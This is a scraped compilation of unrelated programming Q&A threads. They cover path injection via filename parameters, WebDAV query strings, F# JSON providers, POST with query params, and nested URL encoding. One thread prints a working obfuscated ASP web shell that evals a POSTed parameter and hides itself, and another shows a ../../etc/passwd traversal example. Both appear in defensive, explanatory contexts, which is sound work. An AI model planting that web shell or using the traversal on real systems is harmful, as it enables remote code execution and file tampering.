I wrote a small service in go (although I don't think this would be a language specific issue), that caches some results by saving it to a file, and writing a URL query parameter into the filename with "prefix" + param + ".json" using ioutil.WriteFile. The service runs on Ubuntu.
Is it possible to do something malicious, by passing an unexpected string via the query?
Relevant attacks that come to mind are called path injection. For example what if the query parameter is something like ../../etc/passwd (okthis would probably not work as the user running this service would have no permissions, but you get the point). For example it could be possible to overwrite your service code itself.
You should sanitize the parameter before adding it to the filename. The best would be a strict whitelist of letters and numbers that are allowed, anything else should ve removed from the parameter. That way injection would not be possible.
You can also check whether the path you are writing to is actually under an explicitly allowed directory.
I will make a test in python, here is the struct of the project
app1/main.py
while True:
a = input() # passing query
with open("{}.json".format(a), "w") as f:
f.write("Hello world")
now i am a hacker, and i want to change "yourfile.json"
so i passed this
and than, the content of yourfile.json become: Hello world
Related
Should a WebDAV server support query strings?
I have not found a clear statement about this in RFC 4918.
Background is as follows:
I have a WebDAV server where the path in the URL is mapped quasi 1:1 to the path to the resource in the file system. I.e. to get to the resource I need to know the path, something like this:
Variant 1:
http://<webdavserver>:<port>/folder1/subfolder1/anotherfolder/resource.txt
Now I have another client that doesn't know the path, but only two Ids (RepositoryId and DocumentId), but these also uniquely identify the resource. By searching for the two ids, the WebDAV server can also find the resource and return it.
Until now, this was solved in such a way that instead of the path in the URL, the two IDs were specified as a query string, i.e. something like this:
Variant 2:
http://<webdavserver>:<port>/?repoId=123&docId=456
Somehow this feels wrong ...
Well, actually the identifcation via the two ids is just an alternative representation to the path, isn't it? So something like this should work too:
Variant 3:
http://<webdavserver>:<port>/<repoId>/<docId>
http://<webdavserver>:<port>/123/456
This feels more "WebDAV-like" ...
I would only need to be able to distinguish on the server side which of the two URL representations is arriving there, path or ID.
Possibly via a header, something like
X-ResourcePath: Path | Id (Default would be Path)
What do you think?
Should I stay with variant 2, or rather switch to variant 3, or ...? (I have to reimplement it anyway, so "Do not change a running system" would not be a valid argument :-))
IMHO: it really doesn't matter. There's no prohibition to mix query params into WebDAV URI trees. You just need to make sure that the clients that you support will work with this.
(I would advise against moving identifying data into custom request header fields; this is what the URI is for).
When I implemented a WebDAV server I was primarily interested in supporting existing clients and I found that most of them did not support query strings in any way (namely Microsoft Office)
I ended up using the following format which seems to work for all clients:
protocol://server/id/title.extension
I want to do something very similar to what's shown in the docs for FSharp.Data:
The URL I'm requesting from though (TFS) requires client authentication. Is there any way I can provide this by propagating my Windows creds? I notice JsonProvider has a few other compile-time parameters, but none seem to be in support of this.
You don't have to provide a live URL as a type parameter to JsonProvider; you can also provide the filename of a sample file that reflects the structure you expect to see. With that feature, you can do the following steps:
First, log in to the service and save a JSON file that reflects the API you're going to use.
Next, do something like the following:
type TfsData = JsonProvider<"/path/to/sample/file.json">
let url = "https://example.com/login/etc"
// Use standard .Net API to log in with your Windows credentials
// Save the results in a variable `jsonResults`
let parsedResults = TfsData.Parse(jsonResults)
printfn "%A" parsedResults.Foo // At this point, Intellisense should work
This is all very generic, of course, since I don't know precisely what you need to do to log in to your service; presumably you already know how to do that. The key is to retrieve the JSON yourself, then use the .Parse() method of your provided type to parse it.
I have found interesting malware on my server, which did some bad thing.
Now I am trying to reverse-engineering it, but due to complete lack of knowledge of VB\ASP I need to ask your help, colleagues.
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/srerif/*/(tseuqer lave")
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED"))
if f.attributes <> 39 then
f.attributes = 39
end if
%>
As I understood - it executes some command and creates file somewhere with system\hidden attributes.
The main question is - how to use it, i.e. from logs I see, that hacker uploaded this file and used POST to command this. I want to command this too to understand, how he was able to upload files to some folders, which he should be able to do so.
Any advices are welcome. Sample with curl POST would be amazing.
No don't need knowledge in VB to research what that code does; just read the documentation.
MorfiCoder(")/*/srerif/*/(tseuqer lave") returns eval request("firers") (I assume functions like Replace or StrReverse are obvious).
Execute and eval are self-explanatory; the docs for request are here:
The Request object retrieves the values that the client browser passed to the server during an HTTP request.
So, whatever string is in the firers request variable, it will be executed (you said you already know that your attacker used a simply POST to send data to his script).
Set fso=CreateObject("Scripting.FileSystemObject") creates a FileSystemObject Object.
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")) creates a File Object; using the path in PATH_TRANSLATED.
Then some attributes (Archive, System, Hidden, ReadOnly) are set on that file object (to hide this script).
Why your attacker was able to upload this file to your server obviously can't be answered by the information you provided, and would also be out of scope of this question and probably off topic to stackoverflow.
I know that in most MVC frameworks, for example, both query string params and form params will be made available to the processing code, and usually merged into one set of params (often with POST taking precedence). However, is it a valid thing to do according to the HTTP specification? Say you were to POST to:
http://1.2.3.4/MyApplication/Books?bookCode=1234
... and submit some update like a change to the book name whose book code is 1234, you'd be wanting the processing code to take both the bookCode query string param into account, and the POSTed form params with the updated book information. Is this valid, and is it a good idea?
Is it valid according HTTP specifications ?
Yes.
Here is the general syntax of URL as defined in those specs
http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ]]
There is no additional constraints on the form of the http_URL. In particular, the http method (i.e. POST,GET,PUT,HEAD,...) used don't add any restriction on the http URL format.
When using the GET method : the server can consider that the request body is empty.
When using the POST method : the server must handle the request body.
Is it a good idea ?
It depends what you need to do. I suggest you this link explaining the ideas behind GET and POST.
I can think that in some situation it can be handy to always have some parameters like the user language in the query part of the url.
I know that in most MVC frameworks, for example, both query string params and form params will be made available to the processing code, and usually merged into one set of params (often with POST taking precedence).
Any competent framework should support this.
Is this valid
Yes. The POST method in HTTP does not impose any restrictions on the URI used.
is it a good idea?
Obviously not, if the framework you are going to use is still clue-challenged. Otherwise, it depends on what you want to accomplish. The major use case (redirection of a data subset to a new POST target) has been irretrievably broken by browser implementations (all mechanically following the broken lead of Mosaic/Netscape), so the considerations here are mostly theoretical.
I want to call a JSP with GET parameters within the GET parameter of a parent JSP. The URL for this would be http://server/getMap.jsp?lat=30&lon=-90&name=http://server/getName.jsp?lat1=30&lon1=-90
getName.jsp will return a string that goes in the name parameter of getMap.jsp.
I think the problem here is that &lon1=-90 at the end of the URL will be given to getMap.jsp instead of getName.jsp. Is there a way to distinguish which GET parameter goes to which URL?
One idea I had was to encode the second URL (e.g. = -> %3D and & -> %26) but that didn't work out well. My best idea so far is to allow only one parameter in the second URL, comma-delimited. So I'll have http://server/getMap.jsp?lat=30&lon=-90&name=http://server/getName.jsp?params=30,-90 and leave it up to getName.jsp to parse its variables. This way I leave the & alone.
NOTE - I know I can approach this problem from a completely different angle and avoid nested URLs altogether, but I still wonder (for the sake of knowledge!) if this is possible or if anyone has done it...
This has been done a lot, especially with ad serving technologies and URL redirects
But an encoded URL should just work fine. You need to completely encode it tho. A generator can be found here
So this:
http://server/getMap.jsp?lat=30&lon=-90&name=http://server/getName.jsp?lat1=30&lon1=-90
becomes this: http://server/getMap.jsp?lat=30&lon=-90&name=http%3A%2F%2Fserver%2FgetName.jsp%3Flat1%3D30%26lon1%3D-90
I am sure that jsp has a function for this. Look for "urlencode". Your JSP will see the contents of the GET-Variable "name" as the unencoded string: "http://server/getName.jsp?lat1=30&lon1=-90"